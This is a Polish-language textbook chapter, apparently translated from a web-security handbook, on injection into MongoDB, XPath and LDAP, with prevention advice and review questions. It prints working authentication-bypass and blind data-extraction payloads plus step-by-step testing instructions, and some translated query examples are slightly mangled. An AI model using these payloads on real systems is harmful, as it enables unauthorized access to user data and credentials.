NoSQL to stosunkowo nowa technologia, która szybko ewoluowała. Nie został wdrożony na skalę bardziej dojrzałych technologii, takich jak SQL. Dlatego badania nad lukami w zabezpieczeniach NoSQL są wciąż w powijakach. Ponadto, ze względu na z natury proste sposoby, za pomocą których wiele implementacji NoSQL umożliwia dostęp do danych, czasami omawiane przykłady wstrzykiwania do magazynów danych NoSQL mogą wydawać się wymyślone. Jest niemal pewne, że w dzisiejszych i przyszłych aplikacjach internetowych pojawią się możliwe do wykorzystania luki w zabezpieczeniach magazynów danych NoSQL. Jeden taki przykład, pochodzący z rzeczywistej aplikacji, opisano w następnej sekcji.

Wstrzykiwanie do MongoDB

Wiele baz danych NoSQL korzysta z istniejących języków programowania, aby zapewnić elastyczny, programowalny mechanizm zapytań. Jeśli zapytania są budowane przy użyciu konkatenacji łańcuchów, osoba atakująca może próbować wyrwać się z kontekstu danych i zmienić składnię zapytania. Rozważmy następujący przykład, który wykonuje logowanie na podstawie rekordów użytkowników w magazynie danych MongoDB:

```
$m = new Mongo();

$db = $m->cmsdb;

$collection = $db->user;

$js = “function() {

return this.username == ‘$username’ & this.password == ‘$password’; }”;

$obj = $collection->findOne(array(‘$where’ => $js));

if (isset($obj[“uid”]))

{

$logged_in=1;

}

else

{

$logged_in=0;

}
```

$js to funkcja JavaScript, której kod jest tworzony dynamicznie i zawiera nazwę użytkownika i hasło podane przez użytkownika. Osoba atakująca może ominąć logikę uwierzytelniania, podając nazwę użytkownika:

```
Marcus’//
```

i dowolne hasło. Wynikowa funkcja JavaScript wygląda następująco:

```
function() { return this.username == „Marcus”//” & this.password == „aaa”; }
```

UWAGA: W JavaScript podwójny ukośnik (//) oznacza komentarz do końca wiersza, więc pozostały kod funkcji jest komentowany. Alternatywnym sposobem zapewnienia, że funkcja $js zawsze zwraca wartość true, bez użycia komentarza, byłoby podanie nazwy użytkownika:

a' || 1==1 || 'a'=='a

JavaScript interpretuje różne operatory w następujący sposób:

(this.username == 'a' || 1==1) || ('a'=='a' & this.password ==

'aaa');

Powoduje to dopasowanie wszystkich zasobów w kolekcji użytkownika, ponieważ pierwszy warunek rozłączny jest zawsze prawdziwy (1 jest zawsze równe 1).

Wstrzykiwanie do XPath

XML Path Language (XPath) to interpretowany język używany do poruszania się po dokumentach XML i pobierania danych z nich. W większości przypadków wyrażenie XPath reprezentuje sekwencję kroków wymaganych do przejścia z jednego węzła dokumentu do drugiego. Tam, gdzie aplikacje internetowe przechowują dane w dokumentach XML, mogą używać XPath do uzyskiwania dostępu do danych w odpowiedzi na dane wprowadzone przez użytkownika. Jeśli te dane wejściowe zostaną wstawione do kwerendy XPath bez filtrowania lub oczyszczania, osoba atakująca może być w stanie manipulować kwerendą, aby zakłócić logikę aplikacji lub pobrać dane, do których nie ma uprawnień. Dokumenty XML na ogół nie są preferowanym narzędziem do przechowywania danych przedsiębiorstwa. Są one jednak często używane do przechowywania danych konfiguracyjnych aplikacji, które można pobrać na podstawie danych wprowadzonych przez użytkownika. Mogą być również używane przez mniejsze aplikacje do przechowywania prostych informacji, takich jak poświadczenia użytkownika, role i uprawnienia. Rozważ następującą składnicę danych XML:

<addressBook>

<address>

<firstName>William</firstName>

<surname>Gates</surname>

<password>MSRocks!</password>

<email>billyg@microsoft.com</email>

<ccard>5130 8190 3282 3515</ccard>

</address>

<address>

<firstName>Chris</firstName>

<surname>Dawes</surname>

<password>secret</password>

<email>cdawes@craftnet.de</email>

<ccard>3981 2491 3242 3121</ccard>

</address>

<address>

<firstName>James</firstName>

<surname>Hunter</surname>

<password>letmein</password>

<email>james.hunter@pookmail.com</email>

<ccard>8113 5320 8014 3313</ccard>

</address>

</addressBook>

Zapytanie XPath w celu pobrania wszystkich adresów e-mail wyglądałoby tak:

//adres/e-mail/tekst()

Zapytanie zwracające wszystkie szczegóły użytkownika Dawes wyglądałoby tak:

//adres[nazwisko/text()='Dawes']

W niektórych aplikacjach dane dostarczone przez użytkownika mogą być osadzone bezpośrednio w zapytaniach XPath, a wyniki zapytania mogą zostać zwrócone w odpowiedzi aplikacji lub wykorzystane do określenia niektórych aspektów zachowania aplikacji.

Podważanie logiki aplikacji

Rozważmy funkcję aplikacji, która pobiera zapisany numer karty kredytowej użytkownika na podstawie nazwy użytkownika i hasła. Poniższe zapytanie XPath skutecznie weryfikuje dane uwierzytelniające podane przez użytkownika i pobiera numer odpowiedniej karty kredytowej użytkownika:

//address[surname/text()=’Dawes’ and password/text()=’secret’]/ccard/text()

W takim przypadku osoba atakująca może być w stanie podważyć zapytanie aplikacji w identyczny sposób jak luka wstrzykiwania kodu SQL. Na przykład podanie hasła o tej wartości:

‘ or ‘a’=’a

skutkuje następującym zapytaniem XPath, które pobiera dane kart kredytowych wszystkich użytkowników:

//address[surname/text()=’Dawes’ and password/text()=’’ or ‘a’=’a’]/

ccard/text()

NOTATKA :

* Podobnie jak w przypadku iniekcji SQL, pojedyncze cudzysłowy nie są wymagane podczas wstrzykiwania do wartości liczbowej.

* W przeciwieństwie do zapytań SQL, słowa kluczowe w zapytaniach XPath uwzględniają wielkość liter, podobnie jak nazwy elementów w samym dokumencie XML.

Poinformowane wstrzyknięcie XPath

Błędy iniekcji XPath można wykorzystać do pobrania dowolnych informacji z docelowego dokumentu XML. Pewnym niezawodnym sposobem na to jest wykorzystanie tej samej techniki, która została opisana w przypadku wstrzykiwania kodu SQL, polegająca na spowodowaniu, że aplikacja będzie reagowała na różne sposoby, w zależności od warunku określonego przez atakującego. Podanie poniższych dwóch haseł spowoduje inne zachowanie aplikacji. Wyniki są zwracane w pierwszym przypadku, ale nie w drugim:

‘ or 1=1 i ‘a’=’a

‘ or 1=2 i ‘a’=’a

Tę różnicę w zachowaniu można wykorzystać do sprawdzenia prawdziwości dowolnego określonego warunku, a tym samym do wyodrębnienia dowolnych informacji bajt po bajcie. Podobnie jak w przypadku języka SQL, język XPath zawiera funkcję podłańcuchową, której można użyć do testowania wartości łańcucha po jednym znaku na raz. Na przykład podanie tego hasła:

‘ or //address[surname/text()=’Gates’ and substring(password/text(),1,1)=

‘M’] and ‘a’=’a

skutkuje następującym zapytaniem XPath, które zwraca wyniki, jeśli pierwszym znakiem hasła użytkownika Gates jest M:

//address[surname/text()=’Dawes’ and password/text()=’’ or

//address[surname/text()=’Gates’ and substring(password/text(),1,1)= ‘M’]

and ‘a’=’a ‘]/ccard/text()

Przechodząc przez każdą pozycję znaku i testując każdą możliwą wartość, osoba atakująca może wydobyć pełną wartość hasła Gatesa.

Ślepe wstrzykiwanie XPath

W opisanym właśnie ataku wstrzyknięty warunek testowy określał zarówno bezwzględną ścieżkę do wyodrębnionych danych (adres), jak i nazwy docelowych pól (nazwisko i hasło). W rzeczywistości możliwe jest przeprowadzenie całkowicie ślepego ataku bez posiadania tych informacji. Zapytania XPath mogą zawierać kroki, które są względne w stosunku do bieżącego węzła w dokumencie XML, więc z bieżącego węzła można przejść do węzła nadrzędnego lub do określonego węzła podrzędnego. Ponadto XPath zawiera funkcje do wyszukiwania metainformacji o dokumencie, w tym nazwy określonego elementu. Korzystając z tych technik, możliwe jest wyodrębnienie nazw i wartości wszystkich węzłów w dokumencie bez wcześniejszej znajomości jego struktury lub zawartości. Na przykład możesz użyć opisanej wcześniej techniki tworzenia podłańcuchów, aby wyodrębnić nazwę rodzica bieżącego węzła, podając serię haseł w następującej postaci:

‘ or substring(name(parent::*[position()=1]),1,1)= ‘a

To wejście generuje wyniki, ponieważ pierwszą literą węzła adresu jest a. Przechodząc do drugiej litery, możesz potwierdzić, że tak jest, podając następujące hasła, z których ostatnie generuje wyniki:

‘ or substring(name(parent::*[position()=1]),2,1)=’a

‘ or substring(name(parent::*[position()=1]),2,1)=’b

‘ or substring(name(parent::*[position()=1]),2,1)=’c

‘ or substring(name(parent::*[position()=1]),2,1)=’d

Po ustaleniu nazwy węzła adresowego można następnie przechodzić przez każdy z jego węzłów podrzędnych, wyodrębniając wszystkie ich nazwy i wartości. Określenie odpowiedniego węzła podrzędnego według indeksu pozwala uniknąć konieczności znajomości nazw jakichkolwiek węzłów. Na przykład następujące zapytanie zwraca wartość Hunter:

//address[position()=3]/child::node()[position()=4]/text()

A następujące zapytanie zwraca wartość letmein:

//address[position()=3]/child::node()[position()=6]/text()

Ta technika może być wykorzystana w całkowicie ślepym ataku, w którym żadne wyniki nie są zwracane w odpowiedziach aplikacji, poprzez stworzenie wstrzykniętego warunku, który określa docelowy węzeł za pomocą indeksu. Na przykład podanie następującego hasła zwróci wyniki, jeśli pierwszym znakiem hasła firmy Gates jest M:

‘ or substring(//address[position()=1]/child::node()[position()=6]/

text(),1,1)= ‘M’ i ‘a’=’a

Przechodząc cyklicznie przez każdy węzeł podrzędny każdego węzła adresowego i wyodrębniając ich wartości po jednym znaku na raz, można wyodrębnić całą zawartość składnicy danych XML.

WSKAZÓWKA: XPath zawiera dwie przydatne funkcje, które mogą pomóc zautomatyzować poprzedni atak i szybko przejrzeć wszystkie węzły i dane w dokumencie XML:

* count() zwraca liczbę węzłów potomnych danego elementu, co może być użyte do określenia zakresu wartości position() do iteracji.

* string-length() zwraca długość podanego łańcucha, który może być użyty do określenia zakresu wartości substring() do iteracji.

Znajdowanie błędów wstrzyknięcia XPath

Wiele ciągów ataku, które są powszechnie używane do wykrywania błędów wstrzykiwania kodu SQL, zazwyczaj skutkuje nieprawidłowym zachowaniem po przesłaniu do funkcji podatnej na wstrzyknięcie XPath. Na przykład jeden z poniższych dwóch ciągów zwykle unieważnia składnię zapytania XPath i generuje błąd:

„

„--

Jeden lub więcej z poniższych ciągów zwykle powoduje pewną zmianę w zachowaniu aplikacji bez powodowania błędu, w taki sam sposób, jak w przypadku błędów iniekcji SQL:

‘ or ‘a’=’a

‘ and ‘a’=’b

or 1=1

and 1=2

Dlatego w każdej sytuacji, w której testy SQL injection dostarczają wstępnych dowodów na istnienie luki, ale nie można jednoznacznie wykorzystać luki, należy zbadać możliwość, że mamy do czynienia z luką XPath injection.

KROKI HACKOWANIA

1. Spróbuj przesłać następujące wartości i ustal, czy powodują one inne zachowanie aplikacji bez powodowania błędu:

‘ or count(parent::*[position()=1])=0 or ‘a’=’b

‘ or count(parent::*[position()=1])>0 or ‘a’=’b

Jeśli parametr jest liczbowy, wypróbuj również następujące ciągi testowe:

1 or count(parent::*[position()=1])=0

1 or count(parent::*[position()=1])>0

2. Jeśli którykolwiek z poprzedzających ciągów powoduje zachowanie różnicowe w aplikacji bez powodowania błędu, prawdopodobnie można wyodrębnić dowolne dane, tworząc warunki testowe, aby wyodrębnić jeden bajt informacji na raz. Użyj serii warunków o następującej formie, aby określić nazwę rodzica bieżącego węzła:

substring(name(parent::*[position()=1]),1,1)=’a’

3. Po wyodrębnieniu nazwy węzła nadrzędnego użyj szeregu warunków o następującej postaci, aby wyodrębnić wszystkie dane z drzewa XML:

substring(//parentnodename[position()=1]/child::node()

[position()=1]/text(),1,1)=’a’

Zapobieganie iniekcji XPath

Jeśli uważasz, że konieczne jest wstawienie danych wejściowych dostarczonych przez użytkownika do zapytania XPath, ta operacja powinna być wykonywana tylko na prostych elementach danych, które można poddać ścisłej weryfikacji danych wejściowych. Dane wprowadzone przez użytkownika należy porównać z białą listą dopuszczalnych znaków, która w idealnym przypadku powinna zawierać tylko znaki alfanumeryczne. Znaki, które mogą być użyte do zakłócania zapytania XPath, powinny być blokowane, w tym ( ) = ‘ [ ] : , * / i wszystkie spacje. Wszelkie dane wejściowe, które nie pasują do białej listy, powinny zostać odrzucone, a nie oczyszczone.

Wstrzykiwanie do LDAP

Protokół LDAP (Lightweight Directory Access Protocol) służy do uzyskiwania dostępu do usług katalogowych przez sieć. Katalog to hierarchicznie zorganizowany magazyn danych, który może zawierać wszelkiego rodzaju informacje, ale jest powszechnie używany do przechowywania danych osobowych, takich jak nazwiska, numery telefonów, adresy e-mail i funkcje służbowe.

Typowymi przykładami LDAP są Active Directory używane w domenach Windows oraz OpenLDAP, używane w różnych sytuacjach. Najprawdopodobniej spotkasz się z LDAP używanym w korporacyjnych aplikacjach internetowych opartych na intranecie, takich jak aplikacja HR, która umożliwia użytkownikom przeglądanie i modyfikowanie informacji o pracownikach. Każde zapytanie LDAP używa jednego lub kilku filtrów wyszukiwania, które określają pozycje katalogu zwracane przez zapytanie.

Filtry wyszukiwania mogą używać różnych operatorów logicznych do przedstawiania złożonych warunków wyszukiwania. Najczęściej spotykane filtry wyszukiwania to:

* Proste warunki dopasowania pasują do wartości pojedynczego atrybutu. Na przykład funkcja aplikacji, która wyszukuje użytkownika na podstawie jego nazwy użytkownika, może użyć tego filtra:

(username=daf)

* Zapytania rozłączne określają wiele warunków, z których każdy musi być spełniony przez zwracane wpisy. Na przykład funkcja wyszukiwania, która wyszukuje podany przez użytkownika termin wyszukiwania w kilku atrybutach katalogu, może używać tego filtra:

(|(cn=searchterm)(sn=searchterm)(ou=searchterm))

* Zapytania koniunkcyjne określają wiele warunków, z których wszystkie muszą być spełnione przez zwracane wpisy. Na przykład mechanizm logowania zaimplementowany w LDAP może używać tego filtra:

(&(username=daf)(password=secret)

Podobnie jak w przypadku innych form wstrzykiwania, jeśli dane wejściowe dostarczone przez użytkownika zostaną wstawione do filtra wyszukiwania LDAP bez żadnej weryfikacji, osoba atakująca może dostarczyć spreparowane dane wejściowe, które zmodyfikują strukturę filtra, a tym samym pobierze dane lub wykona działania w nieautoryzowany sposób.

Ogólnie rzecz biorąc, luki w zabezpieczeniach związane z iniekcją LDAP nie są tak łatwe do wykorzystania, jak luki w iniekcji SQL, ze względu na następujące czynniki:

* Jeśli filtr wyszukiwania wykorzystuje operator logiczny do określenia zapytania łączącego lub odłączającego, zwykle pojawia się on przed punktem, w którym wprowadzane są dane użytkownika i dlatego nie można go modyfikować. Dlatego proste warunki dopasowania i zapytania koniunkcyjne nie mają odpowiednika ataku typu „lub 1=1”, który pojawia się w przypadku iniekcji SQL.

* W powszechnie używanych implementacjach LDAP zwracane atrybuty katalogów są przekazywane do interfejsów API LDAP jako osobny parametr z filtra wyszukiwania i zwykle są zakodowane na stałe w aplikacji. W związku z tym zwykle nie jest możliwe manipulowanie danymi wejściowymi dostarczonymi przez użytkownika w celu pobrania innych atrybutów niż te, które zapytanie miało pobrać.

* Aplikacje rzadko zwracają informacyjne komunikaty o błędach, więc luki zazwyczaj muszą być wykorzystywane „na ślepo”.

Wykorzystywanie iniekcji LDAP

Pomimo opisanych ograniczeń, w wielu rzeczywistych sytuacjach możliwe jest wykorzystanie luk w zabezpieczeniach LDAP w celu pobrania nieautoryzowanych danych z aplikacji lub wykonania nieautoryzowanych działań. Szczegóły tego, jak to się robi, zazwyczaj w dużej mierze zależą od konstrukcji filtra wyszukiwania, punktu wejścia danych wprowadzanych przez użytkownika oraz szczegółów implementacji samej usługi LDAP zaplecza.

Zapytania dysjunkcyjne

Rozważmy aplikację, która pozwala użytkownikom wyświetlać listę pracowników w określonym dziale firmy. Wyniki wyszukiwania są ograniczone do lokalizacji geograficznych, do których wyświetlania

użytkownik jest uprawniony. Na przykład, jeśli użytkownik ma uprawnienia do przeglądania lokalizacji Londyn i Reading i wyszukuje dział „sprzedaży”, aplikacja wykonuje następujące zapytanie rozłączne:

(|(department=London sales)(department=Reading sales))

W tym przypadku aplikacja konstruuje kwerendę rozłączną i dołącza różne wyrażenia przed danymi wejściowymi podanymi przez użytkownika, aby wymusić wymaganą kontrolę dostępu. W tej sytuacji osoba atakująca może odwrócić zapytanie w celu zwrócenia szczegółowych informacji o wszystkich pracownikach we wszystkich lokalizacjach, wprowadzając następujące wyszukiwane hasło:

)(department=*

Znak * jest symbolem wieloznacznym w LDAP; pasuje do każdego przedmiotu. Gdy dane wejściowe zostaną osadzone w filtrze wyszukiwania LDAP, wykonywane jest następujące zapytanie:

(|(department=London)(department=*)(department=Reading)(department=*))

Ponieważ jest to zapytanie rozłączne i zawiera termin z symbolem wieloznacznym (department=*), pasuje do wszystkich wpisów katalogu. Zwraca dane wszystkich pracowników ze wszystkich lokalizacji, podważając w ten sposób kontrolę dostępu do aplikacji.

Zapytania koniunkcyjne

Rozważmy podobną funkcję aplikacji, która pozwala użytkownikom wyszukiwać pracowników według nazwiska, ponownie w regionie geograficznym, do którego przeglądania są uprawnieni. Jeśli użytkownik jest uprawniony do wyszukiwania w lokalizacji Londyn i wyszukuje nazwę daf, wykonywane jest następujące zapytanie:

(&(givenName=daf)(department=London*))

Tutaj dane wejściowe użytkownika są wstawiane do zapytania koniunkcyjnego, którego druga część wymusza wymaganą kontrolę dostępu poprzez dopasowanie elementów tylko w jednym z londyńskich departamentów. W tej sytuacji dwa różne ataki mogą się powieść, w zależności od szczegółów usługi LDAP zaplecza. Niektóre implementacje LDAP, w tym OpenLDAP, umożliwiają grupowanie wielu filtrów wyszukiwania i są one stosowane rozłącznie. (Innymi słowy, zwracane są wpisy katalogu pasujące do dowolnego z filtrów wsadowych). Osoba atakująca może na przykład podać następujące dane wejściowe:

*))(&(givenName=daf

Kiedy to wejście jest osadzone w oryginalnym filtrze wyszukiwania, staje się:

(&(givenName=*))(&(givenName=daf)(department=London*))

Zawiera teraz dwa filtry wyszukiwania, z których pierwszy zawiera pojedynczy warunek dopasowania symboli wieloznacznych. Dane wszystkich pracowników są zwracane ze wszystkich lokalizacji, co podważa kontrolę dostępu do aplikacji. SPRÓBUJ!

UWAGA: Ta technika wstrzykiwania drugiego filtru wyszukiwania jest również skuteczna w przypadku prostych warunków dopasowania, które nie wykorzystują żadnego operatora logicznego, pod warunkiem, że implementacja zaplecza akceptuje wiele filtrów wyszukiwania.

Drugi typ ataku na zapytania łączone wykorzystuje liczbę implementacji LDAP obsługujących bajty NULL. Ponieważ te implementacje są zwykle pisane w kodzie natywnym, bajt NULL w filtrze wyszukiwania skutecznie kończy łańcuch, a wszelkie znaki następujące po NULL są ignorowane. Chociaż

sam protokół LDAP nie obsługuje komentarzy (w sposób, w jaki sekwencja -- może być używana w języku SQL), ta obsługa bajtów NULL może być skutecznie wykorzystana do „skomentowania" pozostałej części zapytania. W poprzednim przykładzie osoba atakująca może podać następujące dane wejściowe:

*))%00

Sekwencja %00 jest dekodowana przez serwer aplikacji na literalny bajt NULL, więc gdy dane wejściowe są osadzone w filtrze wyszukiwania, mają postać:

(&(givenName=*))[NULL])(department=Londyn*))

Ponieważ filtr ten jest obcinany o bajt NULL, w przypadku LDAP zawiera tylko jeden warunek wieloznaczny, więc zwracane są również dane wszystkich pracowników z działów spoza obszaru Londynu.

Znajdowanie błędów wtrysku LDAP

Podanie nieprawidłowych danych wejściowych do operacji LDAP zwykle nie powoduje wyświetlenia informacyjnego komunikatu o błędzie. Ogólnie rzecz biorąc, dowody dostępne podczas diagnozowania luk w zabezpieczeniach obejmują wyniki zwracane przez funkcję wyszukiwania oraz występowanie błędów, takich jak kod stanu HTTP 500. Niemniej jednak można wykonać poniższe czynności, aby zidentyfikować błąd wstrzykiwania LDAP z pewnym stopniem niezawodności.

KROKI HACKOWANIA

1. Spróbuj wprowadzić tylko znak * jako wyszukiwane hasło. Ten znak działa jako symbol wieloznaczny w LDAP, ale nie w SQL. Jeśli zwracana jest duża liczba wyników, jest to dobry wskaźnik, że masz do czynienia z zapytaniem LDAP.

2. Spróbuj wprowadzić liczbę nawiasów zamykających:

))))))))))

To wejście zamyka wszelkie nawiasy obejmujące twoje dane wejściowe, a także te

które zawierają sam główny filtr wyszukiwania. Powoduje to niedopasowanie nawiasów zamykających, co powoduje unieważnienie składni zapytania. Jeśli wystąpi błąd, aplikacja może być podatna na iniekcję LDAP. (Pamiętaj, że te dane wejściowe mogą również zakłócić wiele innych rodzajów logiki aplikacji, więc stanowi to silny wskaźnik tylko wtedy, gdy masz już pewność, że masz do czynienia z zapytaniem LDAP).

KROKI HACKOWANIA

1. Spróbuj wprowadzić tylko znak * jako wyszukiwane hasło. Ten znak działa jako symbol wieloznaczny w LDAP, ale nie w SQL. Jeśli zwracana jest duża liczba wyników, jest to dobry wskaźnik, że masz do czynienia z zapytaniem LDAP.

2. Spróbuj wprowadzić liczbę nawiasów zamykających:

))))))))))

To wejście zamyka wszelkie nawiasy obejmujące twoje dane wejściowe, a także te które zawierają sam główny filtr wyszukiwania. Powoduje to niedopasowanie nawiasów zamykających, co powoduje unieważnienie składni zapytania. Jeśli wystąpi błąd, aplikacja może być podatna na iniekcję LDAP.

(Pamiętaj, że te dane wejściowe mogą również zakłócić wiele innych rodzajów logiki aplikacji, więc stanowi to silny wskaźnik tylko wtedy, gdy masz już pewność, że masz do czynienia z zapytaniem LDAP).

Zapobieganie wstrzykiwaniu LDAP

Jeśli konieczne jest wstawienie danych wejściowych użytkownika do zapytania LDAP, operacja ta powinna być wykonywana tylko na prostych elementach danych, które można poddać ścisłej weryfikacji danych wejściowych. Dane wprowadzone przez użytkownika należy porównać z białą listą dopuszczalnych znaków, która w idealnym przypadku powinna zawierać tylko znaki alfanumeryczne. Znaki, których można użyć do zakłócenia zapytania LDAP, powinny być zablokowane, w tym ( ); , * | & = i bajt zerowy. Wszelkie dane wejściowe, które nie pasują do białej listy, powinny zostać odrzucone, a nie oczyszczone.

Streszczenie

Zbadaliśmy szereg luk, które umożliwiają wstrzyknięcie do magazynów danych aplikacji internetowych. Te luki w zabezpieczeniach mogą umożliwiać odczytywanie lub modyfikowanie poufnych danych aplikacji, wykonywanie innych nieautoryzowanych działań lub naruszanie logiki aplikacji w celu osiągnięcia celu. Bez względu na to, jak poważne są te ataki, są one tylko częścią szerszego zakresu ataków, które obejmują wstrzykiwanie do zinterpretowanych kontekstów. Inne ataki z tej kategorii mogą umożliwiać wykonywanie poleceń w systemie operacyjnym serwera, pobieranie dowolnych plików i ingerowanie w inne komponenty zaplecza.

Pytania

1. Próbujesz wykorzystać błąd iniekcji SQL, przeprowadzając atak UNION w celu odzyskania danych. Nie wiesz, ile kolumn zwraca oryginalne zapytanie. Jak możesz się tego dowiedzieć?

2. Zlokalizowałeś lukę umożliwiającą wstrzyknięcie kodu SQL w parametrze ciągu. Uważasz, że baza danych to MS-SQL lub Oracle, ale nie możesz pobrać żadnych danych ani komunikatu o błędzie, aby potwierdzić, która baza danych jest uruchomiona. Jak możesz się tego dowiedzieć?

3. W wielu miejscach aplikacji użyłeś pojedynczego cudzysłowu. Na podstawie otrzymanych komunikatów o błędach zdiagnozowano kilka potencjalnych błędów iniekcji SQL. Które z poniższych miejsc byłoby najbezpieczniejszym miejscem do sprawdzenia, czy bardziej spreparowane dane wejściowe mają wpływ na przetwarzanie aplikacji?

(a) Rejestracja nowego użytkownika

(b) Aktualizacja danych osobowych

(c) Rezygnacja z subskrypcji usługi

4. Znalazłeś lukę SQL injection w funkcji logowania i próbujesz użyć wejścia „ lub 1=1--, aby ominąć logowanie. Twój atak nie powiedzie się, a wynikowy komunikat o błędzie wskazuje, że znaki -- są usuwane przez filtry wejściowe aplikacji. Jak można było obejść ten problem?

5. Znalazłeś lukę w zabezpieczeniach typu SQL injection, ale nie możesz przeprowadzić żadnych użytecznych ataków, ponieważ aplikacja odrzuca wszelkie dane wejściowe zawierające spacje. Jak możesz obejść to ograniczenie?

6. Aplikacja podwaja wszystkie pojedyncze cudzysłowy w danych wejściowych użytkownika, zanim zostaną one włączone do zapytań SQL. Znalazłeś lukę umożliwiającą wstrzyknięcie kodu SQL w polu

numerycznym, ale musisz użyć wartości ciągu w jednym z ładunków ataku. Jak umieścić ciąg znaków w zapytaniu bez użycia cudzysłowów?

7. W niektórych rzadkich sytuacjach aplikacje konstruują dynamiczne zapytania SQL na podstawie danych wejściowych dostarczonych przez użytkownika w sposób, którego nie można zabezpieczyć za pomocą zapytań parametrycznych. Kiedy to się dzieje?

8. Masz eskalowane uprawnienia w aplikacji, dzięki czemu masz teraz pełny dostęp administracyjny. Odkrywasz lukę umożliwiającą wstrzyknięcie kodu SQL w funkcji administrowania użytkownikami. W jaki sposób możesz wykorzystać tę lukę, aby dalej przeprowadzać atak?

9. Atakujesz aplikację, która nie przechowuje żadnych wrażliwych danych i nie zawiera mechanizmów uwierzytelniania ani kontroli dostępu. Jak w tej sytuacji należy ocenić znaczenie następujących luk w zabezpieczeniach?

(a) Wstrzyknięcie SQL

(b) Wstrzyknięcie XPath

(c) Wstrzyknięcie polecenia systemu operacyjnego

10. Testujesz funkcję aplikacji, która umożliwia wyszukiwanie danych osobowych. Podejrzewasz, że funkcja uzyskuje dostęp do bazy danych lub zaplecza usługi Active Directory. Jak możesz spróbować ustalić, który z nich ma miejsce?